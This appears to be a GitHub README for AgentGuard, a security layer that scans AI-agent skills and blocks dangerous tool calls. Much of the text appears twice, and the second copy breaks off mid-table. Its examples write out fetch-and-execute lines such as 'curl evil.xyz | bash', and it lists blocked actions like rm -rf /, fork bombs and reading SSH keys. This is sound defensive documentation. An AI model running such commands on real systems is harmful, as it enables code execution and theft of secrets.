Security guard for AI agents — blocks malicious skills, prevents data leaks, protects secrets. 24 detection rules, runtime action evaluation, trust registry.
TypeScript
470
461 commits
updated Oct 15, 2026
The essential security guard for every AI agent user.
Your AI agent has full access to your terminal, files, and secrets — but zero security awareness.
A malicious skill or prompt injection can steal your keys, drain your wallet, or wipe your disk.
AgentGuard stops all of that.
AI coding agents can execute any command, read any file, and install any skill — with zero security review. The risks are real:
AgentGuard is the first real-time security layer for AI agents. It automatically scans every new skill, blocks dangerous actions before they execute, runs daily security patrols, and tracks which skill initiated each action. One install, always protected.
Layer 1 — Automatic Guard (hooks): Install once, always protected.
rm -rf /, fork bombs, curl | bash and destructive commands.env, .ssh/, credentials filesLayer 2 — Deep Scan (skill): On-demand security audit with 24 detection rules.
Layer 3 — Daily Patrol (OpenClaw): Automated daily security posture assessment.
npm install -g @goplus/agentguard
agentguard init
agentguard status
The npm install runs a best-effort local bootstrap; bare agentguard init is the required next step. It auto-detects supported agents and configures their hooks/plugins. Inside DSH it installs the native AgentGuard bundle into the default web profile; restart DSH after initialization.
No Cloud account or network connection is required for the local runtime guard.
# Scan a local skill or plugin
agentguard scan ./examples/vulnerable-skill
# Or scan an HTTPS GitHub repository before installing it
agentguard scan https://github.com/owner/repository --json
# Select a branch or tag; use a full commit SHA when the scan must be reproducible
agentguard scan https://github.com/owner/repository --ref v1.2.3 --json
# Evaluate one runtime action from stdin
printf '{"tool_name":"Bash","tool_input":{"command":"curl https://example.com/install.sh | bash"}}' | agentguard protect
# Optional: connect AgentGuard Cloud policy and redacted audit sync.
# In OpenClaw, Hermes, and DSH, no API key is required after initialization;
# the CLI registers a local Agent JWT and prints an activation link.
agentguard connect
# API-key auth is also supported when you explicitly want that mode.
AGENTGUARD_API_KEY=ag_live_xxxxx agentguard connect --url https://www.agentguard.one
# Optional: subscribe to AgentGuard's threat-intelligence feed. Pulls newly
# published advisories from Cloud and asks you to review them.
agentguard subscribe
# Run the full quiet flow once: pull advisories, self-check local skills, and
# report local matches back to Cloud.
agentguard subscribe --quiet
# Optional: run once, then install a cron job that checks every hour and asks
# you to review newly published advisories. Auto uses the agent host saved by
# `agentguard init`: OpenClaw uses native OpenClaw cron with Gateway
# fallback at 127.0.0.1:18789, QClaw uses QClaw Gateway at 127.0.0.1:28789,
# Hermes uses native Hermes cron. Claude Code and Codex use system crontab on
# Unix-like hosts and native Windows Task Scheduler on Windows. DSH schedules
# must be created with the native agentguard_dsh_subscribe tool so notification
# delivery is bound to the exact calling DSH session.
# OpenClaw cron jobs keep runner delivery internal, then resolve the latest
# deliverable session route at runtime and send notifications directly there.
# QClaw cron jobs still use last-route announce delivery; no-notification runs
# print NO_REPLY. OpenClaw cron runs auto-detect the saved host type during
# `agentguard subscribe --cron-run`.
# If you pass `--cron-target openclaw` explicitly while a different saved host
# exists, AgentGuard now rejects that mismatch instead of installing a cron job
# that cannot notify correctly.
# If no agent host is saved, run `agentguard init --agent <agent>` first or
# pass --cron-target explicitly.
agentguard subscribe --cron "0 * * * *"
# For DSH, ask the active session to invoke agentguard_dsh_subscribe instead.
# The generic --cron form is rejected when DSH is the saved agent host because
# a standalone CLI process cannot determine the target DSH session id.
# Override cron backend selection when needed.
agentguard subscribe --cron "0 * * * *" --cron-target system
agentguard subscribe --cron "0 * * * *" --cron-target openclaw
agentguard subscribe --cron "0 * * * *" --cron-target qclaw
agentguard subscribe --cron "0 * * * *" --cron-target hermes
agentguard subscribe --cron "0 * * * *" --cron-target windows
# System cron and Windows Task Scheduler write output to
# ~/.agentguard/feed-cron.log. Windows tasks run as the current user and only
# while that user is logged on; no password or SYSTEM account is configured.
# Hermes cron writes a no-agent script under ~/.hermes/scripts/ and requires
# Hermes Gateway for automatic scheduled execution.
# Or install the hourly cron in quiet mode so matches are self-checked and
# reported automatically.
agentguard subscribe --cron "0 * * * *" --quiet
# Replace an existing cron job with the same name
agentguard subscribe --cron "0 * * * *" --force
# Machine-readable output always includes a cron status object:
# cron.requested, cron.installed, and optional cron.result when installation succeeds.
agentguard subscribe --json
# Or run a one-off self-check against a single advisory id
agentguard checkup --against-advisory AGS-2026-0042
# Re-run host setup manually when needed. Bare init auto-detects installed agents.
agentguard init
agentguard init --agent claude-code
agentguard init --agent codex
agentguard init --agent openclaw
agentguard init --agent hermes # native Hermes plugin (add --shell-hooks for the legacy flow)
agentguard init --agent qclaw
agentguard init --agent dsh # native bundle in the default web profile; restart DSH
The Phase 1 DSH scanner understands current dsh.bundle.patch, dsh.profile.bundles, dsh.client, and Cordis configuration structures in addition to JavaScript and TypeScript capabilities.
# Human-readable report
agentguard dsh-scan ./path/to/dsh-plugin
# Machine-readable report from a GitHub repository
agentguard dsh-scan https://github.com/owner/dsh-plugin --format json
# Reproducible report for a release tag, branch, or exact commit
agentguard dsh-scan https://github.com/owner/dsh-plugin --ref v1.2.3 --format json
# Self-contained shareable report page
agentguard dsh-scan ./path/to/dsh-plugin --format html --output report.html
Reports include DSH identification confidence, plugin kind, explainable risk level, permission profile, impact layers, source evidence, structured file-coverage accounting, and an installation recommendation. File-count truncation, oversized matching files, or ordinary read failures produce DSH_SCAN_INCOMPLETE and can never return safe-to-try. See AgentGuard for DSH for the risk model and current limitations.
Install AgentGuard as a native DSH tool plugin, then restart the profile:
dsh plugin --profile web add --allow-build=@goplus/agentguard @goplus/agentguard
DSH will expose the read-only agentguard_dsh_scan tool for scanning local plugin directories and HTTPS GitHub repositories before installation.
It also exposes agentguard_dsh_scan_batch for a sequential review queue of up to 10 targets per DSH tool call. The CLI accepts larger JSON manifests of up to 25 targets with agentguard dsh-scan-batch.
Use agentguard_dsh_compare or the agentguard dsh-compare CLI command to identify new permissions and runtime risks before updating an approved plugin version.
The native agentguard_dsh_subscribe tool binds system-cron threat-feed polling to the current DSH agent. agentguard_dsh_subscription_status reports bounded cron and queue metadata without notice contents, and exact-target agentguard_dsh_unsubscribe removes cron, matching queued notices, then saved state in retry-safe order. Notification-worthy pulls are durably queued across DSH downtime and delivered as a safe ordinary follow-up only to that exact live agent; delivery never automatically executes scans or remediation. Scheduled self-checks also discover DSH user/project skills, immediate profile manifests, declared direct dependencies, and home/profile Cordis patches without recursively walking dependency trees. See the DSH subscription and local testing guide.
Update or remove it from the same profile with dsh plugin --profile web update @goplus/agentguard or dsh plugin --profile web remove @goplus/agentguard. The DSH operations and report guide includes verification and troubleshooting steps.
DSH runtime guard: the packaged composition enables
protectmode by default, applying AgentGuard's shared allow/warn/require-approval/block policy before DSH dispatches a tool. Startup logs and the input-redactedagentguard_dsh_runtime_summarytool explicitly show the current configured mode and whether pre-execute enforcement is active. Setruntime.mode: observeonly when audit-only shadow evaluation is required. DSH protection uses DSH's native one-shot approval service and monotonic composition with other policies. Optionalruntime.postResponseMode: block-malicioussuppresses only block-class malicious network results; approval-class post results remain audit-only because DSH has no resumable post-result approval protocol. Exact operator-configuredruntime.attribution.toolOwnersbindings add source ownership without guessing, andruntime.ownerPoliciescan impose per-owner minimum decisions without weakening shared security policy. Unmapped tools remainunknownuntil DSH exposes a reliable native owner field. See the DSH runtime guide.
The complete candidate scope, activation override, acceptance gates, and intentional boundaries are collected in AgentGuard for DSH complete candidate.
The enforcing adapter maps approval decisions to DSH's native ask contract, emits bounded evidence-free reasons, preserves stronger downstream policies, fails closed on unexpected evaluator errors by default, and is registered whenever protect is configured, including by the packaged default composition.
Native contract gates cover the full pre-execute approval outcome matrix, concurrent and nested calls, failures, unload, and post-execute result containment. Block-class malicious responses can be suppressed explicitly; approval-class post results remain audit-only because DSH currently exposes no native post-approval resume primitive. The complete candidate passed all 11 guided DSH UAT cases, including native approval/rejection, pre-execute blocking, response containment, redaction, and service stability.
The shared runtime detector treats unpinned Git sources executed through npx, npm exec, pnpm dlx, yarn dlx, or bunx as high-risk remote code execution. Full commit pins reduce this to a warning rather than making remote code implicitly trusted.
Phase 1.1 keeps the conservative full-repository risk while adding a separate runtime-surface risk, evidence source categories, likely-generated markers, and a human-review priority. Tests, examples, docs, and data findings remain visible instead of being silently discarded.
Phase 1.2 treats active SKILL.md and agent-instruction files as runtime-relevant, keeps executable source runtime-relevant even under data/ or assets/, distinguishes computed local module loading from remote code execution, and requires concrete credential APIs before reporting keychain access.
Phase 1.3 localizes compound AUTO_UPDATE evidence around the matched update behavior. Large bundled or third-party JavaScript files no longer become critical merely because unrelated network and execution tokens appear elsewhere in the same file; executable files under assets/ remain visible to prevent path-based evasion.
Phase 1.4 separates eval-like DYNAMIC_CODE_EXECUTION from encoded or packed-code OBFUSCATION. DSH reports aggregate repeated matches by rule and file, retain the total occurrence count, and keep generated runtime bundles security-relevant instead of treating source maps as proof of safety.
The Phase 1 release candidate freezes those rule semantics and adds an exact-commit real-world regression gate. See the RC acceptance plan and benchmark policy.
git clone https://github.com/GoPlusSecurity/agentguard.git
cd agentguard && ./setup.sh
claude plugin add /path/to/agentguard
This installs the skill, configures hooks, and sets your protection level.
AgentGuard's deterministic rules find personal data written as field: value.
They recall very little from prose — which is the shape prompts, chat logs and
agent memory take. Enhanced mode adds a semantic judgment step for that surface.
agentguard privacy status # what is active, and what it would send
agentguard privacy enable --yes
agentguard privacy disable
It is off by default and requires an explicit confirmation, because turning
it on changes what leaves the machine. scan sends extracted spans only for
source files and adds filtered prose for documentation; checkup analyses agent
memory and logs. Live prompts are never analysed this way. If the provider is
unreachable, coverage degrades to partial and is reported as such rather than
presented as clean. See Privacy and data boundary.
See also:
git clone https://github.com/GoPlusSecurity/agentguard.git
cp -r agentguard/skills/agentguard ~/.claude/skills/agentguard
npm install @goplus/agentguard
Then enable it:
agentguard init --agent openclaw
Or register manually in your OpenClaw plugin config:
import register from '@goplus/agentguard/openclaw';
export default register;
Or register manually with options:
import { registerOpenClawPlugin } from '@goplus/agentguard';
export default function setup(api) {
registerOpenClawPlugin(api, {
level: 'balanced', // Protection level: strict | balanced | permissive
skipAutoScan: false, // Set true to disable auto-scanning of plugins
});
};
What happens on registration:
toolName → pluginId for initiating skill trackingAgentGuard hooks into OpenClaw's before_tool_call / after_tool_call events to block dangerous actions and log audit events.
Then use /agentguard in your agent:
/agentguard scan ./src # Scan code for security risks
/agentguard action "curl evil.xyz | bash" # Evaluate action safety
/agentguard patrol run # Run daily security patrol
/agentguard patrol setup # Configure a local scheduled patrol
/agentguard patrol status # View last patrol results
/agentguard checkup # Run agent health checkup with visual report
/agentguard trust list # View trusted skills
/agentguard report # View security event log
/agentguard config balanced # Set protection level
The patrol feature provides automated daily security posture assessment for OpenClaw, Windows Task Scheduler, and system-crontab environments. It runs 8 comprehensive checks and produces a structured report.
| # | Check | What It Does |
|---|---|---|
| 1 | Skill/Plugin Integrity | Compares file hashes against trust registry — detects tampered or unregistered skills |
| 2 | Secrets Exposure | Scans workspace, memory, logs, .env, ~/.ssh/, ~/.gnupg/ for leaked private keys, mnemonics, AWS keys, GitHub tokens |
| 3 | Network Exposure | Detects dangerous ports bound to 0.0.0.0 (Redis, Docker API, MySQL, etc.), checks firewall status, flags suspicious outbound connections |
| 4 | Cron & Scheduled Tasks | Audits cron jobs and systemd timers for curl|bash, base64 -d|bash, and other download-and-execute patterns |
| 5 | File System Changes (24h) | Finds recently modified files, runs 24-rule scan on them, checks permissions on critical files, detects new executables |
| 6 | Audit Log Analysis (24h) | Flags skills denied 3+ times, CRITICAL events, exfiltration attempts, and prompt injection detections |
| 7 | Environment & Configuration | Verifies protection level, checks GoPlus API key configuration, validates config baseline integrity |
| 8 | Trust Registry Health | Flags expired attestations, stale trusted skills (30+ days), installed-but-untrusted skills, over-privileged entries |
# Run all 8 checks now
/agentguard patrol run
# Set up as a daily scheduled job (03:00 UTC through OpenClaw;
# 03:00 machine-local time through Windows Task Scheduler or system crontab)
/agentguard patrol setup
# Check last patrol results and cron schedule
/agentguard patrol status
Each patrol produces a report with an overall status:
| Status | Meaning |
|---|---|
| PASS | Only low/medium findings |
| WARN | HIGH severity findings detected |
| FAIL | CRITICAL severity findings detected |
Reports include per-check status, finding counts, detailed findings for checks with issues, and actionable recommendations. Results are also logged to ~/.agentguard/audit.jsonl.
patrol setup configures OpenClaw cron, a current-user Windows Task Scheduler task, or user crontab according to the detected host:
Windows Task Scheduler and user crontab invoke the existing
agentguard checkup --json command so scheduled patrols execute all eight
checks. SessionStart continues to use the lightweight auto-scan.js path.
0 3 * * * (daily at 03:00)Note: Windows patrol tasks intentionally run only while the creating user is logged on and do not store a password or use SYSTEM privileges.
Give your agent a full physical exam! The checkup evaluates your agent's security posture across 6 dimensions and generates a beautiful visual HTML report — complete with a lobster mascot whose appearance reflects your agent's health.
/agentguard checkup
| Dimension | What's Evaluated |
|---|---|
| Code Safety | Scan findings across all installed skills plus direct DSH profile plugins (transitive dependencies excluded) |
| Trust Hygiene | Trust registry health — expired, stale, unregistered, over-privileged entries |
| Runtime Defense | Audit log analysis — threats blocked, attack patterns, deny/confirm ratios |
| Secret Protection | Credential exposure — file permissions, env vars, hardcoded secrets |
| Web3 Shield | Web3-specific risks — wallet draining, unlimited approvals, GoPlus API status |
| Config Posture | Protection level, guard hooks, auto-scan, patrol history |
Your agent's health is visualized by a lobster mascot:
| Score | Tier | Lobster | Message |
|---|---|---|---|
| 90–100 | S | 💪 Muscular bodybuilder with crown & sunglasses | "Your agent is JACKED!" |
| 70–89 | A | 🛡️ Healthy lobster with shield | "Looking solid!" |
| 50–69 | B | ☕ Tired lobster with coffee, sweating | "Needs a workout..." |
| 0–49 | F | 🚨 Sick lobster with bandages & thermometer | "CRITICAL CONDITION!" |
The report is a self-contained HTML file that opens automatically in your browser. Dark theme, animated score gauge, expandable findings, and actionable recommendations.
| Level | Behavior |
|---|---|
strict | Block all risky actions. Every dangerous or suspicious command is denied. |
balanced | Block dangerous, confirm risky. Good for daily use. (default) |
permissive | Only block critical threats. For experienced users who want minimal friction. |
| Category | Rules | Severity |
|---|---|---|
| Execution | SHELL_EXEC, DYNAMIC_MODULE_LOADING, AUTO_UPDATE, REMOTE_LOADER | HIGH-CRITICAL |
| Secrets | READ_ENV_SECRETS, READ_SSH_KEYS, READ_KEYCHAIN, PRIVATE_KEY_PATTERN, MNEMONIC_PATTERN | MEDIUM-CRITICAL |
| Exfiltration | NET_EXFIL_UNRESTRICTED, WEBHOOK_EXFIL | HIGH-CRITICAL |
| Dynamic execution and obfuscation | DYNAMIC_CODE_EXECUTION, OBFUSCATION, PROMPT_INJECTION | HIGH-CRITICAL |
| Web3 | WALLET_DRAINING, UNLIMITED_APPROVAL, DANGEROUS_SELFDESTRUCT, HIDDEN_TRANSFER, PROXY_UPGRADE, FLASH_LOAN_RISK, REENTRANCY_PATTERN, SIGNATURE_REPLAY | MEDIUM-CRITICAL |
| Trojan & Social Engineering | TROJAN_DISTRIBUTION, SUSPICIOUS_PASTE_URL, SUSPICIOUS_IP, SOCIAL_ENGINEERING | MEDIUM-CRITICAL |
Scan the included vulnerable demo project:
/agentguard scan examples/vulnerable-skill
Expected output: CRITICAL risk level with detection hits across JavaScript, Solidity, and Markdown files.
GoPlus AgentGuard follows the Agent Skills open standard:
| Platform | Support | Features |
|---|---|---|
| Claude Code | Full | Skill + hooks auto-guard, transcript-based skill tracking |
| OpenClaw | Full | Plugin hooks + auto-scan on load + tool→plugin mapping + daily patrol |
| Hermes Agent | Plugin + Hooks | Native plugin for pre_tool_call / post_tool_call (enabled by agentguard init --agent hermes), or legacy shell hooks |
| OpenAI Codex CLI | Skill | Scan/action/trust commands |
| Gemini CLI | Skill | Scan/action/trust commands |
| Cursor | Skill | Scan/action/trust commands |
| GitHub Copilot | Skill | Scan/action/trust commands |
Hooks-based auto-guard (Layer 1) works on Claude Code (PreToolUse/PostToolUse), OpenClaw (before_tool_call/after_tool_call), and Hermes Agent (pre_tool_call/post_tool_call shell hooks). These platforms share the same decision engine via a unified adapter abstraction layer.
OpenClaw exclusive: Auto-scans all loaded plugins at registration time, automatically registers them to the trust registry, and supports automated daily security patrols via cron.
The auto-guard hooks (Layer 1) have the following constraints:
PreToolUse / PostToolUse events, OpenClaw's before_tool_call / after_tool_call plugin hooks, or Hermes Agent's pre_tool_call / post_tool_call shell hooks. All share the same decision engine via the adapter abstraction layer.ls, echo, pwd, git status, etc.) reduces false positives..claude-plugin/) for one-step installpatrol run — 8-check security posture assessmentpatrol setup — OpenClaw cron job configuration with timezone and notificationspatrol status — Last results and schedule overviewcheckup — 6-dimension security health assessmentbefore_tool_call / after_tool_call hook wiringAgentGuard provides deep integration with OpenClaw through automatic plugin scanning, trust management, and daily security patrols.
When AgentGuard registers as an OpenClaw plugin:
┌─────────────────────────────────────────────────────────────────┐
│ OpenClaw loads AgentGuard plugin │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ AgentGuard scans all loaded plugins (async, non-blocking) │
│ • Reads plugin source from registry │
│ • Runs 24 static analysis rules │
│ • Calculates artifact hash │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ For each plugin: │
│ • Determine trust level (untrusted/restricted/trusted) │
│ • Infer capabilities from tools + scan results │
│ • Register to AgentGuard trust registry │
│ • Map tool names → plugin ID │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ On every tool call: │
│ • Look up plugin from tool name │
│ • Check plugin trust level & capabilities │
│ • Evaluate action against security policies │
│ • Allow / Deny / Log │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Daily patrol (via cron): │
│ • Run 8 security checks against the environment │
│ • Verify skill integrity, detect secrets, audit logs │
│ • Generate report (PASS / WARN / FAIL) │
│ • Send notifications (Telegram / Discord / Signal) │
└─────────────────────────────────────────────────────────────────┘
import {
registerOpenClawPlugin,
getPluginIdFromTool,
getPluginScanResult,
} from '@goplus/agentguard';
// Get which plugin registered a tool
const pluginId = getPluginIdFromTool('browser');
// → 'my-browser-plugin'
// Get cached scan result
const scanResult = getPluginScanResult('my-browser-plugin');
// → { riskLevel: 'low', riskTags: [] }
Contributions welcome! See CONTRIBUTING.md for guidelines.
Found a security vulnerability? See SECURITY.md.
Built by GoPlus Security.
65 followers · starred Apr 2026
138 followers · starred Jun 2026
123 followers · starred Feb 2026
102 followers · starred Feb 2026
Security guard for AI agents — blocks malicious skills, prevents data leaks, protects secrets. 24 detection rules, runtime action evaluation, trust registry.
TypeScript
470
461 commits
updated Oct 15, 2026
The essential security guard for every AI agent user.
Your AI agent has full access to your terminal, files, and secrets — but zero security awareness.
A malicious skill or prompt injection can steal your keys, drain your wallet, or wipe your disk.
AgentGuard stops all of that.
AI coding agents can execute any command, read any file, and install any skill — with zero security review. The risks are real:
AgentGuard is the first real-time security layer for AI agents. It automatically scans every new skill, blocks dangerous actions before they execute, runs daily security patrols, and tracks which skill initiated each action. One install, always protected.
Layer 1 — Automatic Guard (hooks): Install once, always protected.
rm -rf /, fork bombs, curl | bash and destructive commands.env, .ssh/, credentials filesLayer 2 — Deep Scan (skill): On-demand security audit with 24 detection rules.
Layer 3 — Daily Patrol (OpenClaw): Automated daily security posture assessment.
npm install -g @goplus/agentguard
agentguard init
agentguard status
The npm install runs a best-effort local bootstrap; bare agentguard init is the required next step. It auto-detects supported agents and configures their hooks/plugins. Inside DSH it installs the native AgentGuard bundle into the default web profile; restart DSH after initialization.
No Cloud account or network connection is required for the local runtime guard.
# Scan a local skill or plugin
agentguard scan ./examples/vulnerable-skill
# Or scan an HTTPS GitHub repository before installing it
agentguard scan https://github.com/owner/repository --json
# Select a branch or tag; use a full commit SHA when the scan must be reproducible
agentguard scan https://github.com/owner/repository --ref v1.2.3 --json
# Evaluate one runtime action from stdin
printf '{"tool_name":"Bash","tool_input":{"command":"curl https://example.com/install.sh | bash"}}' | agentguard protect
# Optional: connect AgentGuard Cloud policy and redacted audit sync.
# In OpenClaw, Hermes, and DSH, no API key is required after initialization;
# the CLI registers a local Agent JWT and prints an activation link.
agentguard connect
# API-key auth is also supported when you explicitly want that mode.
AGENTGUARD_API_KEY=ag_live_xxxxx agentguard connect --url https://www.agentguard.one
# Optional: subscribe to AgentGuard's threat-intelligence feed. Pulls newly
# published advisories from Cloud and asks you to review them.
agentguard subscribe
# Run the full quiet flow once: pull advisories, self-check local skills, and
# report local matches back to Cloud.
agentguard subscribe --quiet
# Optional: run once, then install a cron job that checks every hour and asks
# you to review newly published advisories. Auto uses the agent host saved by
# `agentguard init`: OpenClaw uses native OpenClaw cron with Gateway
# fallback at 127.0.0.1:18789, QClaw uses QClaw Gateway at 127.0.0.1:28789,
# Hermes uses native Hermes cron. Claude Code and Codex use system crontab on
# Unix-like hosts and native Windows Task Scheduler on Windows. DSH schedules
# must be created with the native agentguard_dsh_subscribe tool so notification
# delivery is bound to the exact calling DSH session.
# OpenClaw cron jobs keep runner delivery internal, then resolve the latest
# deliverable session route at runtime and send notifications directly there.
# QClaw cron jobs still use last-route announce delivery; no-notification runs
# print NO_REPLY. OpenClaw cron runs auto-detect the saved host type during
# `agentguard subscribe --cron-run`.
# If you pass `--cron-target openclaw` explicitly while a different saved host
# exists, AgentGuard now rejects that mismatch instead of installing a cron job
# that cannot notify correctly.
# If no agent host is saved, run `agentguard init --agent <agent>` first or
# pass --cron-target explicitly.
agentguard subscribe --cron "0 * * * *"
# For DSH, ask the active session to invoke agentguard_dsh_subscribe instead.
# The generic --cron form is rejected when DSH is the saved agent host because
# a standalone CLI process cannot determine the target DSH session id.
# Override cron backend selection when needed.
agentguard subscribe --cron "0 * * * *" --cron-target system
agentguard subscribe --cron "0 * * * *" --cron-target openclaw
agentguard subscribe --cron "0 * * * *" --cron-target qclaw
agentguard subscribe --cron "0 * * * *" --cron-target hermes
agentguard subscribe --cron "0 * * * *" --cron-target windows
# System cron and Windows Task Scheduler write output to
# ~/.agentguard/feed-cron.log. Windows tasks run as the current user and only
# while that user is logged on; no password or SYSTEM account is configured.
# Hermes cron writes a no-agent script under ~/.hermes/scripts/ and requires
# Hermes Gateway for automatic scheduled execution.
# Or install the hourly cron in quiet mode so matches are self-checked and
# reported automatically.
agentguard subscribe --cron "0 * * * *" --quiet
# Replace an existing cron job with the same name
agentguard subscribe --cron "0 * * * *" --force
# Machine-readable output always includes a cron status object:
# cron.requested, cron.installed, and optional cron.result when installation succeeds.
agentguard subscribe --json
# Or run a one-off self-check against a single advisory id
agentguard checkup --against-advisory AGS-2026-0042
# Re-run host setup manually when needed. Bare init auto-detects installed agents.
agentguard init
agentguard init --agent claude-code
agentguard init --agent codex
agentguard init --agent openclaw
agentguard init --agent hermes # native Hermes plugin (add --shell-hooks for the legacy flow)
agentguard init --agent qclaw
agentguard init --agent dsh # native bundle in the default web profile; restart DSH
The Phase 1 DSH scanner understands current dsh.bundle.patch, dsh.profile.bundles, dsh.client, and Cordis configuration structures in addition to JavaScript and TypeScript capabilities.
# Human-readable report
agentguard dsh-scan ./path/to/dsh-plugin
# Machine-readable report from a GitHub repository
agentguard dsh-scan https://github.com/owner/dsh-plugin --format json
# Reproducible report for a release tag, branch, or exact commit
agentguard dsh-scan https://github.com/owner/dsh-plugin --ref v1.2.3 --format json
# Self-contained shareable report page
agentguard dsh-scan ./path/to/dsh-plugin --format html --output report.html
Reports include DSH identification confidence, plugin kind, explainable risk level, permission profile, impact layers, source evidence, structured file-coverage accounting, and an installation recommendation. File-count truncation, oversized matching files, or ordinary read failures produce DSH_SCAN_INCOMPLETE and can never return safe-to-try. See AgentGuard for DSH for the risk model and current limitations.
Install AgentGuard as a native DSH tool plugin, then restart the profile:
dsh plugin --profile web add --allow-build=@goplus/agentguard @goplus/agentguard
DSH will expose the read-only agentguard_dsh_scan tool for scanning local plugin directories and HTTPS GitHub repositories before installation.
It also exposes agentguard_dsh_scan_batch for a sequential review queue of up to 10 targets per DSH tool call. The CLI accepts larger JSON manifests of up to 25 targets with agentguard dsh-scan-batch.
Use agentguard_dsh_compare or the agentguard dsh-compare CLI command to identify new permissions and runtime risks before updating an approved plugin version.
The native agentguard_dsh_subscribe tool binds system-cron threat-feed polling to the current DSH agent. agentguard_dsh_subscription_status reports bounded cron and queue metadata without notice contents, and exact-target agentguard_dsh_unsubscribe removes cron, matching queued notices, then saved state in retry-safe order. Notification-worthy pulls are durably queued across DSH downtime and delivered as a safe ordinary follow-up only to that exact live agent; delivery never automatically executes scans or remediation. Scheduled self-checks also discover DSH user/project skills, immediate profile manifests, declared direct dependencies, and home/profile Cordis patches without recursively walking dependency trees. See the DSH subscription and local testing guide.
Update or remove it from the same profile with dsh plugin --profile web update @goplus/agentguard or dsh plugin --profile web remove @goplus/agentguard. The DSH operations and report guide includes verification and troubleshooting steps.
DSH runtime guard: the packaged composition enables
protectmode by default, applying AgentGuard's shared allow/warn/require-approval/block policy before DSH dispatches a tool. Startup logs and the input-redactedagentguard_dsh_runtime_summarytool explicitly show the current configured mode and whether pre-execute enforcement is active. Setruntime.mode: observeonly when audit-only shadow evaluation is required. DSH protection uses DSH's native one-shot approval service and monotonic composition with other policies. Optionalruntime.postResponseMode: block-malicioussuppresses only block-class malicious network results; approval-class post results remain audit-only because DSH has no resumable post-result approval protocol. Exact operator-configuredruntime.attribution.toolOwnersbindings add source ownership without guessing, andruntime.ownerPoliciescan impose per-owner minimum decisions without weakening shared security policy. Unmapped tools remainunknownuntil DSH exposes a reliable native owner field. See the DSH runtime guide.
The complete candidate scope, activation override, acceptance gates, and intentional boundaries are collected in AgentGuard for DSH complete candidate.
The enforcing adapter maps approval decisions to DSH's native ask contract, emits bounded evidence-free reasons, preserves stronger downstream policies, fails closed on unexpected evaluator errors by default, and is registered whenever protect is configured, including by the packaged default composition.
Native contract gates cover the full pre-execute approval outcome matrix, concurrent and nested calls, failures, unload, and post-execute result containment. Block-class malicious responses can be suppressed explicitly; approval-class post results remain audit-only because DSH currently exposes no native post-approval resume primitive. The complete candidate passed all 11 guided DSH UAT cases, including native approval/rejection, pre-execute blocking, response containment, redaction, and service stability.
The shared runtime detector treats unpinned Git sources executed through npx, npm exec, pnpm dlx, yarn dlx, or bunx as high-risk remote code execution. Full commit pins reduce this to a warning rather than making remote code implicitly trusted.
Phase 1.1 keeps the conservative full-repository risk while adding a separate runtime-surface risk, evidence source categories, likely-generated markers, and a human-review priority. Tests, examples, docs, and data findings remain visible instead of being silently discarded.
Phase 1.2 treats active SKILL.md and agent-instruction files as runtime-relevant, keeps executable source runtime-relevant even under data/ or assets/, distinguishes computed local module loading from remote code execution, and requires concrete credential APIs before reporting keychain access.
Phase 1.3 localizes compound AUTO_UPDATE evidence around the matched update behavior. Large bundled or third-party JavaScript files no longer become critical merely because unrelated network and execution tokens appear elsewhere in the same file; executable files under assets/ remain visible to prevent path-based evasion.
Phase 1.4 separates eval-like DYNAMIC_CODE_EXECUTION from encoded or packed-code OBFUSCATION. DSH reports aggregate repeated matches by rule and file, retain the total occurrence count, and keep generated runtime bundles security-relevant instead of treating source maps as proof of safety.
The Phase 1 release candidate freezes those rule semantics and adds an exact-commit real-world regression gate. See the RC acceptance plan and benchmark policy.
git clone https://github.com/GoPlusSecurity/agentguard.git
cd agentguard && ./setup.sh
claude plugin add /path/to/agentguard
This installs the skill, configures hooks, and sets your protection level.
AgentGuard's deterministic rules find personal data written as field: value.
They recall very little from prose — which is the shape prompts, chat logs and
agent memory take. Enhanced mode adds a semantic judgment step for that surface.
agentguard privacy status # what is active, and what it would send
agentguard privacy enable --yes
agentguard privacy disable
It is off by default and requires an explicit confirmation, because turning
it on changes what leaves the machine. scan sends extracted spans only for
source files and adds filtered prose for documentation; checkup analyses agent
memory and logs. Live prompts are never analysed this way. If the provider is
unreachable, coverage degrades to partial and is reported as such rather than
presented as clean. See Privacy and data boundary.
See also:
git clone https://github.com/GoPlusSecurity/agentguard.git
cp -r agentguard/skills/agentguard ~/.claude/skills/agentguard
npm install @goplus/agentguard
Then enable it:
agentguard init --agent openclaw
Or register manually in your OpenClaw plugin config:
import register from '@goplus/agentguard/openclaw';
export default register;
Or register manually with options:
import { registerOpenClawPlugin } from '@goplus/agentguard';
export default function setup(api) {
registerOpenClawPlugin(api, {
level: 'balanced', // Protection level: strict | balanced | permissive
skipAutoScan: false, // Set true to disable auto-scanning of plugins
});
};
What happens on registration:
toolName → pluginId for initiating skill trackingAgentGuard hooks into OpenClaw's before_tool_call / after_tool_call events to block dangerous actions and log audit events.
Then use /agentguard in your agent:
/agentguard scan ./src # Scan code for security risks
/agentguard action "curl evil.xyz | bash" # Evaluate action safety
/agentguard patrol run # Run daily security patrol
/agentguard patrol setup # Configure a local scheduled patrol
/agentguard patrol status # View last patrol results
/agentguard checkup # Run agent health checkup with visual report
/agentguard trust list # View trusted skills
/agentguard report # View security event log
/agentguard config balanced # Set protection level
The patrol feature provides automated daily security posture assessment for OpenClaw, Windows Task Scheduler, and system-crontab environments. It runs 8 comprehensive checks and produces a structured report.
| # | Check | What It Does |
|---|---|---|
| 1 | Skill/Plugin Integrity | Compares file hashes against trust registry — detects tampered or unregistered skills |
| 2 | Secrets Exposure | Scans workspace, memory, logs, .env, ~/.ssh/, ~/.gnupg/ for leaked private keys, mnemonics, AWS keys, GitHub tokens |
| 3 | Network Exposure | Detects dangerous ports bound to 0.0.0.0 (Redis, Docker API, MySQL, etc.), checks firewall status, flags suspicious outbound connections |
| 4 | Cron & Scheduled Tasks | Audits cron jobs and systemd timers for curl|bash, base64 -d|bash, and other download-and-execute patterns |
| 5 | File System Changes (24h) | Finds recently modified files, runs 24-rule scan on them, checks permissions on critical files, detects new executables |
| 6 | Audit Log Analysis (24h) | Flags skills denied 3+ times, CRITICAL events, exfiltration attempts, and prompt injection detections |
| 7 | Environment & Configuration | Verifies protection level, checks GoPlus API key configuration, validates config baseline integrity |
